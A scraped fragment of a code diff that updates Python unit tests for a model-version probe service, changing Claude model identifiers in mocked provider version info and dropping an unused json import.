("nemotron", "nvidia/nemotron-mini-4b-instruct"),
|
||||||
("claude", "claude-3-5-haiku-20241022"),
|
("claude", "claude-haiku-4-5-20251001"),
|
||||||
],
|
],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -14,7 +14,6 @@ model_version_probe 單元測試
|
|||||||
"""
|
"""
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import json
|
|
||||||
from datetime import datetime, timedelta, timezone
|
from datetime import datetime, timedelta, timezone
|
||||||
from unittest.mock import AsyncMock, MagicMock, patch
|
from unittest.mock import AsyncMock, MagicMock, patch
|
||||||
|
|
||||||
@@ -329,7 +328,7 @@ class TestProbeAllProviders:
|
|||||||
ProviderVersionInfo(provider="ollama", model="qwen2.5:7b-instruct", version="v1"),
|
ProviderVersionInfo(provider="ollama", model="qwen2.5:7b-instruct", version="v1"),
|
||||||
ProviderVersionInfo(provider="ollama_188", model="qwen2.5:7b-instruct", version="v1"),
|
ProviderVersionInfo(provider="ollama_188", model="qwen2.5:7b-instruct", version="v1"),
|
||||||
ProviderVersionInfo(provider="gemini", model="gemini-1.5-flash", version="gemini-1.5-flash"),
|
ProviderVersionInfo(provider="gemini", model="gemini-1.5-flash", version="gemini-1.5-flash"),
|
||||||
ProviderVersionInfo(provider="claude", model="claude-sonnet-4-6", version="claude-sonnet-4-6"),
|
ProviderVersionInfo(provider="claude", model="claude-haiku-4-5-20251001", version="claude-haiku-4-5-20251001"),
|
||||||
ProviderVersionInfo(provider="openclaw_nemo", model="deepseek-r1:14b", version="v1"),
|
ProviderVersionInfo(provider="openclaw_nemo", model="deepseek-r1:14b", version="v1"),
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -365,7 +364,7 @@ class TestProbeAllProviders:
|
|||||||
with patch("src.services.model_version_probe.probe_ollama_version", side_effect=_fail_ollama), \
|
with patch("src.services.model_version_probe.probe_ollama_version", side_effect=_fail_ollama), \
|
||||||
patch("src.services.model_version_probe.probe_gemini_version", side_effect=_fail), \
|
patch("src.services.model_version_probe.probe_gemini_version", side_effect=_fail), \
|
||||||
patch("src.services.model_version_probe.probe_claude_version", return_value=ProviderVersionInfo(
|
patch("src.services.model_version_probe.probe_claude_version", return_value=ProviderVersionInfo(
|
||||||
provider="claude", model="claude-sonnet-4-6", version="claude-sonnet-4-6"
|
provider="claude", model="claude-haiku-4-5-20251001", version="claude-haiku-4-5-20251001"
|
||||||
)), \
|
)), \
|
||||||
patch("src.services.model_version_probe.probe_openclaw_nemo_version", return_value=ProviderVersionInfo(
|
patch("src.services.model_version_probe.probe_openclaw_nemo_version", return_value=ProviderVersionInfo(
|
||||||
provider="openclaw_nemo", model="deepseek-r1:14b", version="v1"
|
provider="openclaw_nemo", model="deepseek-r1:14b", version="v1"
|
||||||
|
|||||||
Reference in New Issue
Block a user